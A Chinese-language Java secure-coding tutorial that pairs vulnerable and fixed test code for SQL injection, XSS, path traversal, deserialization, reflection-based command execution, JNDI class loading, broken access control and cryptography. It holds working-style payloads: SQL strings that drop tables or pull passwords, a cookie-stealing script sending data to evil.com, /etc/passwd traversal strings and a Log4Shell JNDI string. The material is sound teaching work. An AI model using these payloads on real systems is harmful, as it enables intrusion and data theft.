代码安全基础

这是 java基础 大纲中”十六、代码安全基础 ⭐”的详细页面,也是Java基础学习的终章

学完前面所有内容,现在用安全的视角把它们全部串起来

作为安全从业者,你会发现:之前学的每一个Java特性,都可能成为攻击面

反射能绕过访问控制、序列化能RCE、字符串拼接能注入——这一篇就是把这些”暗面”全部摊开讲清楚

一、输入验证 ⭐

核心原则:永远不要信任用户输入

用户输入就像快递包裹——你不拆开检查,里面可能是炸弹

所有从外部来的数据都算”用户输入”:HTTP参数、请求头、Cookie、文件上传、数据库读出来的数据(可能被污染过)

白名单 vs 黑名单

策略 做法 安全性 举例
白名单(推荐) 只允许已知合法的 ⭐ 更安全 只允许数字和字母
黑名单(不推荐) 禁止已知危险的 容易被绕过 禁止 <script> 标签

黑名单的问题:你永远列不完所有攻击payload。比如禁了 <script>,攻击者用 <ScRiPt><img onerror=...> 照样绕过

口诀:白名单是”非请勿入”,黑名单是”抓到坏人才拦”——你觉得哪个更安全?

SQL注入 ⭐⭐⭐(最经典的注入攻击)

原理:把用户输入直接拼进SQL语句,攻击者通过构造特殊输入改变SQL的逻辑

这跟你在 String类与字符串操作 里学的字符串拼接直接相关——拼接就是原罪

漏洞代码:字符串拼接SQL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@Test
public void testSqlInjectionVulnerable() {
// ❌ 漏洞代码:直接拼接用户输入
String userInput = "admin";
String sql = "SELECT * FROM user WHERE name='" + userInput + "' AND password='" + "123" + "'";
System.out.println("正常SQL:" + sql);
// SELECT * FROM user WHERE name='admin' AND password='123'
// 看起来没问题对吧?

// 但如果攻击者输入的是这个:
String maliciousInput = "' OR 1=1 -- ";
String injectedSql = "SELECT * FROM user WHERE name='" + maliciousInput + "' AND password='" + "任意值" + "'";
System.out.println("注入后SQL:" + injectedSql);
// SELECT * FROM user WHERE name='' OR 1=1 -- ' AND password='任意值'
// ^^^^^^^^^ 永真条件!
// ^^^ 注释掉后面所有内容!
// 结果:返回所有用户数据,密码校验直接被跳过
}

攻击原理拆解

' 闭合了前面的引号

OR 1=1 让WHERE条件永远为真

-- 是SQL的注释符,把后面的密码校验全部注释掉

这就是为什么一条 ' OR 1=1 -- 就能绕过登录——SQL的语义被改变了

更危险的payload

1
2
3
' ; DROP TABLE user; --          删表
' UNION SELECT * FROM admin; -- 拖库
' AND 1=2 UNION SELECT password FROM user WHERE name='admin'; -- 偷密码

修复:PreparedStatement 参数化查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@Test
public void testSqlInjectionFixed() throws Exception {
// ✅ 修复代码:使用 PreparedStatement 参数化查询
// 这里用伪代码演示,实际需要数据库连接
String userInput = "' OR 1=1 -- ";

// 参数化查询:用 ? 占位符,参数和SQL语句是分开传递的
String sql = "SELECT * FROM user WHERE name = ? AND password = ?";
// PreparedStatement pstmt = connection.prepareStatement(sql);
// pstmt.setString(1, userInput); // 自动转义,'会被当作普通字符
// pstmt.setString(2, password);
// ResultSet rs = pstmt.executeQuery();

System.out.println("参数化SQL模板:" + sql);
System.out.println("参数1(会被自动转义):" + userInput);
// 数据库收到的是:WHERE name = '\' OR 1=1 -- ' AND password = '...'
// 整个攻击字符串被当作普通字符串值,而不是SQL指令

// 原理:PreparedStatement 先编译SQL模板,再填入参数
// 参数永远是"值",不可能变成"指令",从根本上杜绝注入
}

为什么 PreparedStatement 能防注入?

拼接SQL = 把数据和代码混在一起 → 数据可以伪装成代码

PreparedStatement = 数据和代码分离 → 数据永远是数据,不可能变成SQL指令

这个思想在安全领域叫 **”代码与数据分离”**,是防注入的根本原则

XSS(跨站脚本攻击)⭐⭐

原理:把用户输入直接输出到HTML页面,攻击者注入JavaScript代码

漏洞代码:直接输出用户输入

1
2
3
4
5
6
7
8
9
10
11
@Test
public void testXssVulnerable() {
// ❌ 漏洞代码:直接把用户输入拼进HTML
String userInput = "<script>alert('XSS!')</script>";
String html = "<div>欢迎你," + userInput + "</div>";
System.out.println("生成的HTML:" + html);
// <div>欢迎你,<script>alert('XSS!')</script></div>
// 浏览器会执行这个script!弹窗只是演示,实际可以:
// - 偷Cookie:<script>new Image().src='http://evil.com/?c='+document.cookie</script>
// - 劫持会话、钓鱼、键盘记录……
}

修复:HTML实体转义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@Test
public void testXssFixed() {
// ✅ 修复代码:对用户输入做HTML转义
String userInput = "<script>alert('XSS!')</script>";

// 手动转义(理解原理用)
String escaped = userInput
.replace("&", "&amp;")
.replace("<", "&lt;")
.replace(">", "&gt;")
.replace("\"", "&quot;")
.replace("'", "&#39;");

String html = "<div>欢迎你," + escaped + "</div>";
System.out.println("转义后的HTML:" + html);
// <div>欢迎你,&lt;script&gt;alert(&#39;XSS!&#39;)&lt;/script&gt;</div>
// 浏览器会显示文本 <script>... 而不会执行它

// 实际项目中用成熟的库:
// Apache Commons Text: StringEscapeUtils.escapeHtml4(input)
// Spring: HtmlUtils.htmlEscape(input)
// OWASP Java Encoder: Encode.forHtml(input)
}

XSS的三种类型(了解)

类型 存储位置 触发方式 危害
反射型 URL参数 诱导用户点击恶意链接 一次性
存储型 数据库 其他用户访问页面就中招 ⭐ 最危险,影响所有用户
DOM型 前端JS 前端直接操作DOM 不经过服务器

输入验证最佳实践

正则表达式(如果你已经学到了)做白名单校验

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@Test
public void testInputValidation() {
// 白名单校验示例
String username = "admin' OR 1=1";

// 只允许字母数字下划线,长度3-20
boolean isValid = username.matches("^[a-zA-Z0-9_]{3,20}$");
System.out.println("用户名合法吗?" + isValid); // false

// 邮箱格式校验
String email = "test@example.com";
boolean isEmailValid = email.matches("^[\\w.+-]+@[\\w-]+\\.[a-zA-Z]{2,}$");
System.out.println("邮箱合法吗?" + isEmailValid); // true

// 只允许纯数字的ID
String id = "123; DROP TABLE user";
boolean isIdValid = id.matches("^\\d+$");
System.out.println("ID合法吗?" + isIdValid); // false
}

二、字符串安全 ⭐

这部分直接关联 String类与字符串操作StringBuilder与StringBuffer

密码不要用 String 存,用 char[]

String 在Java里是不可变的(你在 String类与字符串操作 里学过),用完之后它还留在内存的字符串常量池里

你没法手动清除它——得等GC回收,但GC什么时候来你控制不了

这段时间里,如果攻击者能dump内存(比如通过堆转储、冷启动攻击),就能看到明文密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@Test
public void testPasswordSecurity() {
// ❌ 不安全:密码用String存储
String passwordStr = "MySecretP@ss";
// passwordStr 用完后,字符串内容还在内存里
// 你无法主动擦除它,只能等GC
passwordStr = null; // 引用没了,但字符串对象还在堆里!

// ✅ 安全:密码用char[]存储
char[] passwordArr = {'M', 'y', 'S', 'e', 'c', 'r', 'e', 't'};
// 用完后立即覆盖
java.util.Arrays.fill(passwordArr, '\0'); // 用空字符填充,内存里的密码被擦除了
System.out.println("擦除后:" + new String(passwordArr)); // 空字符串

// 这就是为什么 Java 的 Console.readPassword() 返回 char[] 而不是 String
// Swing的 JPasswordField.getPassword() 也是返回 char[]
}

字符串比较用 equals 不用 ==

这个你在 String类与字符串操作 里已经学过,这里从安全角度再强调一下

== 比较的是引用(内存地址),equals 比较的是内容

在做身份校验、权限判断时,用错了就是逻辑漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@Test
public void testStringComparison() {
// 模拟:从数据库查出的角色 vs 硬编码的角色
String roleFromDb = new String("admin"); // 模拟从外部获取
String requiredRole = "admin";

// ❌ 用 == 比较:可能出bug
if (roleFromDb == requiredRole) {
System.out.println("== 判断:是管理员");
} else {
System.out.println("== 判断:不是管理员"); // 输出这个!明明是admin却判断失败
}

// ✅ 用 equals 比较
if (requiredRole.equals(roleFromDb)) {
System.out.println("equals 判断:是管理员"); // ✅ 正确
}

// ⭐ 安全小技巧:把常量放前面调用equals,防止NullPointerException
String roleNull = null;
// roleNull.equals("admin") // ❌ NullPointerException!
// "admin".equals(roleNull) // ✅ 安全,返回false
}

时序攻击:字符串比较的隐藏风险

String.equals() 在发现第一个不同字符时就立即返回 false

攻击者可以通过测量响应时间来逐位猜测密码/Token——这就是时序攻击(Timing Attack)

防御:对敏感值的比较使用恒定时间比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@Test
public void testTimingAttack() {
String storedToken = "a1b2c3d4e5f6";
String userToken = "a1b2c3d4xxxx";

// ❌ String.equals() 有时序泄露
// 匹配越多字符,响应时间越长 → 攻击者可以逐位爆破
boolean result1 = storedToken.equals(userToken);

// ✅ 恒定时间比较:无论哪位不同,耗时都一样
boolean result2 = java.security.MessageDigest.isEqual(
storedToken.getBytes(), userToken.getBytes());

System.out.println("equals结果:" + result1); // false
System.out.println("恒定时间结果:" + result2); // false
// 结果一样,但恒定时间版本不会泄露"匹配了几位"的信息
}

三、文件路径安全 ⭐

直接关联 IO流(如果你已经学到了)里的 File 类操作

路径遍历漏洞(Path Traversal) ⭐⭐

攻击者通过 ../ 跳出预期目录,读取服务器上的敏感文件

这是红蓝对抗中非常常见的漏洞,很多文件下载接口都有这个问题

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@Test
public void testPathTraversalVulnerable() {
// ❌ 漏洞代码:直接用用户输入拼接文件路径
String baseDir = "/var/www/uploads/";
String userInput = "../../etc/passwd"; // 攻击payload

String filePath = baseDir + userInput;
System.out.println("拼接后的路径:" + filePath);
// /var/www/uploads/../../etc/passwd
// 操作系统解析后实际是 /etc/passwd !

// 如果代码直接读取这个路径,攻击者就能读到服务器的密码文件
// File file = new File(filePath);
// 类似的还有:
// ....//....//etc/passwd (双写绕过简单过滤)
// ..%2F..%2Fetc/passwd (URL编码绕过)
// ..\..\..\windows\system32\config\sam (Windows路径)
}

修复:canonicalPath 校验 + 白名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
@Test
public void testPathTraversalFixed() throws Exception {
String baseDir = "/var/www/uploads/";
String userInput = "../../etc/passwd";

// ✅ 修复方案1:用 getCanonicalPath() 解析真实路径后校验
java.io.File file = new java.io.File(baseDir, userInput);
String canonicalPath = file.getCanonicalPath();
String canonicalBase = new java.io.File(baseDir).getCanonicalPath();

System.out.println("请求路径:" + canonicalPath);
System.out.println("允许的基目录:" + canonicalBase);

if (!canonicalPath.startsWith(canonicalBase)) {
System.out.println("⭐ 拦截!路径遍历攻击!文件不在允许的目录内");
// 实际项目中应该返回403或404,并记录安全日志
} else {
System.out.println("路径合法,允许访问");
}

// ✅ 修复方案2:文件名白名单(更严格)
String fileName = "report.pdf";
// 只允许字母数字和点,禁止任何路径分隔符
if (fileName.matches("^[a-zA-Z0-9._-]+$") && !fileName.contains("..")) {
System.out.println("文件名合法:" + fileName);
}

// ✅ 修复方案3:Java NIO 的 Path.normalize()
java.nio.file.Path base = java.nio.file.Paths.get(baseDir).normalize().toAbsolutePath();
java.nio.file.Path target = base.resolve(userInput).normalize().toAbsolutePath();
if (!target.startsWith(base)) {
System.out.println("NIO方式拦截!路径越界");
}
}

路径遍历的绕过技巧(知道这些才能更好防御)

绕过方式 payload 防御
基本遍历 ../../etc/passwd canonicalPath校验
URL编码 ..%2F..%2Fetc/passwd 先URL解码再校验
双重URL编码 ..%252F..%252F 多层解码
双写绕过 ....//....//etc/passwd canonicalPath(系统会解析)
Windows反斜杠 ..\..\..\windows\ 统一转正斜杠后校验

四、反序列化安全 ⭐⭐⭐

这是Java安全领域最臭名昭著的漏洞类型,没有之一

如果你将来做Java安全研究,反序列化漏洞是你绕不开的大山

基础原理在 序列化与Serializable(如果你已经学到了),这里从安全角度深入

序列化回顾

序列化:把Java对象变成字节流(方便存储/传输)

反序列化:把字节流恢复成Java对象

关键点:反序列化时会自动调用对象的 readObject() 方法

为什么反序列化能RCE?

如果一个类的 readObject() 方法里有危险操作(比如执行命令)

攻击者构造一个恶意的序列化数据,服务端反序列化时就会触发这些危险操作

就像你收到一个包裹,打开的一瞬间(反序列化)它就爆炸了(执行恶意代码)

漏洞代码示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@Test
public void testDeserializationVulnerable() throws Exception {
// ⭐ 演示:为什么反序列化危险
// 这是一个"恶意类"的简化示例

// 假设有这样一个类(实际攻击中用的是已有的第三方库中的类):
// class EvilObject implements Serializable {
// private void readObject(ObjectInputStream in) throws Exception {
// in.defaultReadObject();
// // 反序列化时自动执行!
// Runtime.getRuntime().exec("calc.exe"); // 弹计算器(Windows)
// // 实战中可以是反弹shell、下载木马等
// }
// }

// ❌ 漏洞代码:直接反序列化不可信的数据
// ObjectInputStream ois = new ObjectInputStream(untrustedInputStream);
// Object obj = ois.readObject(); // 💥 如果数据里是恶意对象,这行就触发RCE

System.out.println("反序列化的危险在于:你不知道字节流里装的是什么对象");
System.out.println("只要classpath里有可利用的类(gadget),就能RCE");
}

真实世界的反序列化漏洞

漏洞 影响 利用方式
Apache Commons Collections 几乎所有Java应用 利用Transformer链执行任意命令
WebLogic反序列化(CVE-2015-4852等) Oracle WebLogic Server T3协议发送恶意序列化数据
Fastjson反序列化(多个CVE) 使用Fastjson的Java应用 JSON中指定 @type 触发任意类实例化
Log4Shell(CVE-2021-44228) 使用Log4j2的Java应用 日志中注入 ${jndi:ldap://evil} 触发远程类加载
Shiro反序列化(CVE-2016-4437) Apache Shiro框架 RememberMe Cookie中的序列化数据

这些漏洞的核心链路都是:不可信数据 → 反序列化/实例化 → 触发危险操作

防御措施

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
@Test
public void testDeserializationDefense() throws Exception {
// ✅ 防御1:使用白名单过滤(JDK 9+ ObjectInputFilter)
// ObjectInputStream ois = new ObjectInputStream(inputStream);
// ois.setObjectInputFilter(filterInfo -> {
// String className = filterInfo.serialClass() != null
// ? filterInfo.serialClass().getName() : "";
// // 只允许反序列化这些类
// if (className.startsWith("com.myapp.model.")) {
// return ObjectInputFilter.Status.ALLOWED;
// }
// return ObjectInputFilter.Status.REJECTED; // 其他类一律拒绝
// });

// ✅ 防御2:不用Java原生序列化,改用JSON
// 用 Jackson/Gson 做JSON序列化,比Java原生序列化安全得多
// 但要注意:Jackson如果开启了 enableDefaultTyping 也会有问题
// Fastjson的 autoType 更是重灾区

// ✅ 防御3:升级依赖,移除危险的gadget类
// 比如升级 commons-collections 到 3.2.2+(移除了危险的Transformer)

// ✅ 防御4:网络层面防御
// 如果不需要T3协议,就关掉WebLogic的T3端口
// 在WAF/RASP层面检测反序列化特征(aced 0005 是Java序列化的魔术字节)

System.out.println("Java序列化魔术字节(Magic Bytes):AC ED 00 05");
System.out.println("看到这个开头的数据流,就是Java序列化数据");
System.out.println("红队技巧:在流量中搜 'aced0005' 或 base64 的 'rO0AB' 可以定位反序列化入口");
}

重要概念:Gadget Chain(利用链)

反序列化漏洞的利用不是直接写恶意代码,而是把已有类的方法串成一条链

就像多米诺骨牌:A类的readObject调用B类的方法,B调用C,C最终执行命令

工具:ysoserial(Java反序列化利用工具),生成各种gadget chain的payload

五、反射安全 ⭐⭐

反射的基础知识在 反射机制(如果你已经学到了),这里聚焦安全问题

setAccessible(true) 可以绕过所有访问控制

你在 访问修饰符 里学的 privateprotected,反射面前全是纸糊的

这就是为什么反射被叫做”暴力反射”——它能无视一切封装

攻击场景:读取/修改私有字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
@Test
public void testReflectionAttack() throws Exception {
// 假设有一个"安全"的类,密码是private的
// class UserService {
// private String adminPassword = "SuperSecret123";
// private boolean isAdmin = false;
// }

// 攻击者用反射直接读取private字段
// Class<?> clazz = Class.forName("com.example.UserService");
// Object obj = clazz.getDeclaredConstructor().newInstance();
//
// Field passwordField = clazz.getDeclaredField("adminPassword");
// passwordField.setAccessible(true); // ⭐ 绕过private限制!
// String password = (String) passwordField.get(obj);
// System.out.println("偷到密码:" + password); // SuperSecret123
//
// // 甚至可以修改private字段
// Field adminField = clazz.getDeclaredField("isAdmin");
// adminField.setAccessible(true);
// adminField.setBoolean(obj, true); // 把自己提升为管理员!
// System.out.println("现在是管理员了:" + adminField.getBoolean(obj)); // true

System.out.println("反射能做的事:");
System.out.println("1. 读取任意private字段(偷密码、偷密钥)");
System.out.println("2. 修改任意private字段(权限提升、篡改状态)");
System.out.println("3. 调用任意private方法(触发内部逻辑)");
System.out.println("4. 绕过单例模式(创建多个实例)");
}

反射 + Runtime = 命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@Test
public void testReflectionRCE() throws Exception {
// 通过反射调用 Runtime.exec() 执行系统命令
// 这是很多漏洞利用链的最终一步

Class<?> runtimeClass = Class.forName("java.lang.Runtime");
// getRuntime() 是 static 方法,通过反射获取Runtime实例
java.lang.reflect.Method getRuntime = runtimeClass.getMethod("getRuntime");
Object runtime = getRuntime.invoke(null);

// 调用 exec 执行命令
java.lang.reflect.Method exec = runtimeClass.getMethod("exec", String.class);
// exec.invoke(runtime, "whoami"); // 取消注释可实际执行

System.out.println("通过反射拿到Runtime对象并执行命令——这就是Java RCE的常见姿势");
System.out.println("很多反序列化漏洞的gadget chain最终都走到这一步");
}

防御反射攻击

SecurityManager(JDK 17已弃用,了解即可):可以限制反射的使用

模块化系统(JDK 9+ Module System):模块可以声明哪些包允许反射访问

代码层面:不要把敏感逻辑仅依赖 private 来保护,要在业务逻辑层做校验

运行时防护:RASP(Runtime Application Self-Protection)可以检测并拦截危险的反射调用

六、类加载安全 ⭐

类加载器和双亲委派机制简述

Java程序运行时,类不是一次性全部加载的,而是按需加载——用到哪个类才加载哪个

类加载器分三层,像一条”审批链”:

1
2
3
4
5
6
7
Bootstrap ClassLoader(最高级,加载JDK核心类:java.lang.String等)
↑ 委托
Extension ClassLoader(加载JDK扩展类)
↑ 委托
Application ClassLoader(加载你写的代码和第三方jar包)
↑ 委托
自定义 ClassLoader(你自己写的加载器)

双亲委派的规则:加载一个类时,先让上级(父加载器)尝试,上级加载不了才自己来

就像公司审批:基层员工发起请求 → 先给主管审 → 主管给总监审 → 总监能批就批了,批不了再退回来

双亲委派为什么能保护安全?

假设攻击者写了一个恶意的 java.lang.String,想替换掉JDK的String类

双亲委派机制下:加载 java.lang.String → 委托给 Bootstrap ClassLoader → Bootstrap 说”我有!用我的” → 攻击者的假String根本不会被加载

核心能力:防止核心类被替换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@Test
public void testClassLoaderSecurity() {
// 查看一个类是由哪个ClassLoader加载的
System.out.println("String的加载器:" + String.class.getClassLoader());
// null(Bootstrap ClassLoader,最顶层,Java里显示为null)

System.out.println("当前类的加载器:" + getClass().getClassLoader());
// sun.misc.Launcher$AppClassLoader(Application ClassLoader)

// 双亲委派保证了:
// 1. 你无法写一个假的 java.lang.String 来替换真的
// 2. 你无法写一个假的 java.lang.Runtime 来劫持命令执行
// 3. JDK核心类的加载权始终在最高层
}

攻击场景:自定义ClassLoader加载恶意类

虽然双亲委派保护了核心类,但攻击者可以用自定义ClassLoader加载全新的恶意类

这在很多漏洞利用中很常见,比如通过JNDI注入远程加载恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@Test
public void testMaliciousClassLoader() {
// 攻击场景(简化示意):
// 1. 攻击者搭建恶意LDAP/RMI服务器
// 2. 服务器返回一个恶意类的字节码
// 3. 受害应用通过JNDI查找触发远程类加载
// 4. 恶意类被加载并实例化 → 构造器/静态代码块中的恶意代码执行

// 这就是 Log4Shell (CVE-2021-44228) 的核心原理:
// 日志内容:${jndi:ldap://evil.com/Exploit}
// Log4j2解析JNDI表达式 → 连接攻击者的LDAP → 加载Exploit.class → RCE

System.out.println("JNDI注入攻击链:");
System.out.println("恶意输入 → JNDI查找 → 远程类加载 → 恶意类实例化 → RCE");
System.out.println("");
System.out.println("防御措施:");
System.out.println("1. 升级到安全版本(Log4j 2.17.0+)");
System.out.println("2. JVM参数 -Dcom.sun.jndi.ldap.object.trustURLCodebase=false");
System.out.println("3. 网络层面禁止应用服务器外连不可信地址");
}

防御:破坏远程类加载

JDK 8u191+ 默认禁止通过JNDI远程加载类(trustURLCodebase=false

但低版本JDK仍然默认允许——这就是为什么JDK版本很重要

网络策略:限制应用服务器的出站连接,不让它主动连外网

七、权限控制 ⭐⭐

最小权限原则

这跟你在 访问修饰符封装继承多态 里学的思想是一致的

代码层面:字段能 private 就不要 public

系统层面:账号能只读就不要给写权限

网络层面:端口能不开就不开

口诀:权限给得越多,攻击面越大

越权漏洞类型 ⭐⭐(这是你做越权检测的核心知识)

类型 描述 举例
水平越权 同级别用户之间互相访问数据 A用户看到B用户的订单(改订单ID就行)
垂直越权 低权限用户访问高权限功能 普通用户直接访问管理员接口
未授权访问 没登录就能访问需要登录的功能 接口没做登录校验

水平越权:最常见也最容易被忽略

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
@Test
public void testHorizontalPrivilegeEscalation() {
// ❌ 漏洞代码:只校验了登录态,没校验数据归属
// @GetMapping("/api/order/{orderId}")
// public Order getOrder(@PathVariable Long orderId) {
// // 只要登录了就能查任何订单——水平越权!
// return orderService.getById(orderId);
// }

// 攻击方式:登录用户A的账号,把URL里的orderId从1001改成1002
// 就能看到用户B的订单详情

// ✅ 修复代码:查询时带上当前用户ID
// @GetMapping("/api/order/{orderId}")
// public Order getOrder(@PathVariable Long orderId, HttpSession session) {
// Long currentUserId = (Long) session.getAttribute("userId");
// // SQL变成:SELECT * FROM order WHERE id=? AND user_id=?
// Order order = orderService.getByIdAndUserId(orderId, currentUserId);
// if (order == null) {
// throw new ForbiddenException("无权访问此订单");
// }
// return order;
// }

System.out.println("水平越权防御核心:查数据时永远带上当前用户ID作为过滤条件");
System.out.println("不要只靠前端隐藏按钮——攻击者会直接调API");
}

垂直越权:接口层面的权限校验

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
@Test
public void testVerticalPrivilegeEscalation() {
// ❌ 漏洞代码:管理员接口没有权限校验
// @GetMapping("/api/admin/users")
// public List<User> getAllUsers() {
// // 任何人只要知道这个URL就能访问!
// return userService.findAll();
// }

// 攻击方式:普通用户直接请求 /api/admin/users

// ✅ 修复:在接口层面校验角色
// @GetMapping("/api/admin/users")
// @RequiresRole("ADMIN") // 框架注解校验角色
// public List<User> getAllUsers() {
// return userService.findAll();
// }

// 或者在Filter/Interceptor中统一校验
// if (request.getRequestURI().startsWith("/api/admin/")) {
// if (!"ADMIN".equals(session.getAttribute("role"))) {
// response.setStatus(403);
// return;
// }
// }

System.out.println("垂直越权防御核心:每个接口都要校验当前用户是否有权限调用");
System.out.println("常用方案:Spring Security、Shiro、自定义拦截器");
}

越权检测思路(你做红蓝对抗用得上)

  1. 准备两个不同权限的账号(A=普通用户,B=管理员)

  2. 用B登录,操作所有功能,抓取所有接口请求

  3. 把B的请求用A的Cookie/Token重放

  4. 如果A能成功调用B的接口 → 垂直越权

  5. 修改请求中的资源ID(订单号、用户ID等),如果能访问别人的数据 → 水平越权

参考你之前的笔记 越权漏洞深度分析 和 GIS越权检测

八、加密基础 ⭐

这里只讲Java层面需要了解的加密知识,更深入的数学原理参考 密码学数学(如果有)和 计算机数学基础

三种加密方式对比

类型 代表算法 特点 用途
对称加密 AES、DES 加密解密用同一个密钥,速度快 大量数据加密
非对称加密 RSA、ECC 公钥加密私钥解密(或反过来),速度慢 密钥交换、数字签名
哈希(摘要) SHA-256、MD5 单向不可逆,不算”加密”而是”摘要” 密码存储、完整性校验

哈希:密码存储的正确方式

密码绝对不能明文存储,也不能用可逆加密存——要用哈希

但光哈希还不够,还要加盐(Salt)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
@Test
public void testHashing() throws Exception {
java.security.MessageDigest md = java.security.MessageDigest.getInstance("SHA-256");

// ❌ 不安全:直接哈希,容易被彩虹表破解
String password = "123456";
byte[] hash = md.digest(password.getBytes("UTF-8"));
StringBuilder sb = new StringBuilder();
for (byte b : hash) {
sb.append(String.format("%02x", b));
}
System.out.println("SHA-256(123456):" + sb.toString());
// 8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92
// 这个值在彩虹表里一查就知道原文是123456

// ✅ 安全:加盐哈希
java.security.SecureRandom random = new java.security.SecureRandom();
byte[] salt = new byte[16];
random.nextBytes(salt); // 生成随机盐值

md.reset();
md.update(salt);
byte[] saltedHash = md.digest(password.getBytes("UTF-8"));

StringBuilder sb2 = new StringBuilder();
for (byte b : saltedHash) {
sb2.append(String.format("%02x", b));
}
System.out.println("加盐SHA-256:" + sb2.toString());
System.out.println("每次生成的盐不同,哈希值也不同 → 彩虹表失效");

// ⭐ 实际项目中推荐用 BCrypt 或 PBKDF2,它们自带加盐和慢哈希
// BCrypt.hashpw(password, BCrypt.gensalt());
}

为什么要加盐?

不加盐:所有用户的 123456 哈希值都一样 → 攻击者用彩虹表批量破解

加盐:每个用户的盐不同,即使密码一样,哈希值也不同 → 只能逐个爆破

为什么要用慢哈希(BCrypt/PBKDF2)?

SHA-256太快了——一块GPU每秒能算几十亿次

BCrypt/PBKDF2 故意设计得很慢(可以调整迭代次数),让暴力破解成本极高

对称加密:AES

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
@Test
public void testAES() throws Exception {
// AES加密解密示例
String plainText = "这是机密信息:管理员密码是admin123";

// 生成AES密钥(实际项目中密钥要安全存储,不能硬编码!)
javax.crypto.KeyGenerator keyGen = javax.crypto.KeyGenerator.getInstance("AES");
keyGen.init(256); // AES-256
javax.crypto.SecretKey secretKey = keyGen.generateKey();

// 加密
javax.crypto.Cipher cipher = javax.crypto.Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, secretKey);
byte[] iv = cipher.getIV(); // 获取初始化向量(IV),解密时需要
byte[] encrypted = cipher.doFinal(plainText.getBytes("UTF-8"));

System.out.println("明文:" + plainText);
System.out.println("密文(Base64):" + java.util.Base64.getEncoder().encodeToString(encrypted));
System.out.println("密文是一堆乱码字节,人看不懂 → 这就是加密的目的");

// 解密
javax.crypto.Cipher decCipher = javax.crypto.Cipher.getInstance("AES/CBC/PKCS5Padding");
decCipher.init(javax.crypto.Cipher.DECRYPT_MODE, secretKey,
new javax.crypto.spec.IvParameterSpec(iv));
byte[] decrypted = decCipher.doFinal(encrypted);

System.out.println("解密后:" + new String(decrypted, "UTF-8"));
// 和原文一样

// ⭐ AES使用注意事项:
// 1. 使用 AES/CBC/PKCS5Padding 或 AES/GCM/NoPadding(推荐GCM,自带完整性校验)
// 2. 不要用 ECB 模式——ECB对相同明文块产生相同密文,不安全
// 3. IV(初始化向量)每次加密要随机生成,不能固定
// 4. 密钥不要硬编码在代码里(这是审计时常见的问题!)
}

常见加密误区(代码审计时要注意)

误区 为什么有问题 正确做法
用 MD5 存密码 MD5已被破解,碰撞攻击成熟 用 BCrypt/PBKDF2
用 DES 加密 DES密钥只有56位,早就能暴力破解了 用 AES-256
AES用ECB模式 相同明文块产生相同密文 用 CBC 或 GCM 模式
密钥硬编码 反编译就能看到密钥 用密钥管理服务(KMS)
Random 生成密钥 Random 是伪随机,可预测 SecureRandom
自己发明加密算法 密码学比你想象的难得多 用成熟的标准算法

九、安全编码Checklist ⭐

这是Java基础学习的总结性清单,每一条都对应你之前学过的知识点

输入验证

[ ] 所有外部输入都做了验证(白名单优先)→ String类与字符串操作正则表达式

[ ] SQL查询使用 PreparedStatement,禁止字符串拼接

[ ] HTML输出做了转义,防止XSS

[ ] 文件路径做了 canonicalPath 校验,防止路径遍历 → IO流

认证与权限

[ ] 每个接口都校验了登录态(未授权访问防护)

[ ] 每个接口都校验了用户角色/权限(垂直越权防护)→ 访问修饰符封装继承多态

[ ] 查数据时带上当前用户ID过滤(水平越权防护)→ 越权漏洞深度分析

[ ] 敏感操作做了二次确认(比如修改密码要输旧密码)

数据安全

[ ] 密码用 BCrypt/PBKDF2 存储,不用 MD5/SHA 裸哈希 → 计算机数学基础

[ ] 密码在内存中用 char[] 不用 String → String类与字符串操作

[ ] 加密使用 AES-256 或更强的算法,不用 DES/3DES

[ ] 密钥不硬编码在代码中,使用密钥管理服务

[ ] 随机数用 SecureRandom 不用 Random

序列化安全

[ ] 尽量不使用Java原生序列化,改用JSON → 序列化与Serializable

[ ] 如果必须用,配置 ObjectInputFilter 白名单

[ ] 关注依赖库的反序列化漏洞,及时升级

[ ] Fastjson 禁用 autoType / 升级到安全版本

反射与类加载

[ ] 不要对不可信输入做反射操作 → 反射机制

[ ] 了解并确保双亲委派机制正常工作

[ ] JNDI相关:设置 trustURLCodebase=false

[ ] 限制应用服务器的出站网络连接

日志与异常

[ ] 日志中不记录敏感信息(密码、身份证号、银行卡号)

[ ] 异常信息不直接返回给用户(泄露技术栈和内部路径)→ 异常体系

[ ] 用户看到的是友好的错误提示,不是堆栈跟踪

依赖安全

[ ] 定期检查第三方依赖的CVE漏洞 → Maven基础

[ ] 使用工具扫描:OWASP Dependency-Check、Snyk

[ ] 不要引入来路不明的jar包

最后一句话

安全不是一个独立的模块,而是渗透在每一行代码中的思维方式

你学过的每一个Java特性——String类与字符串操作异常体系Collection体系反射机制封装继承多态——都有它的安全面

写代码时多想一步:”如果这个输入是攻击者控制的呢?”——这就是安全编码的起点


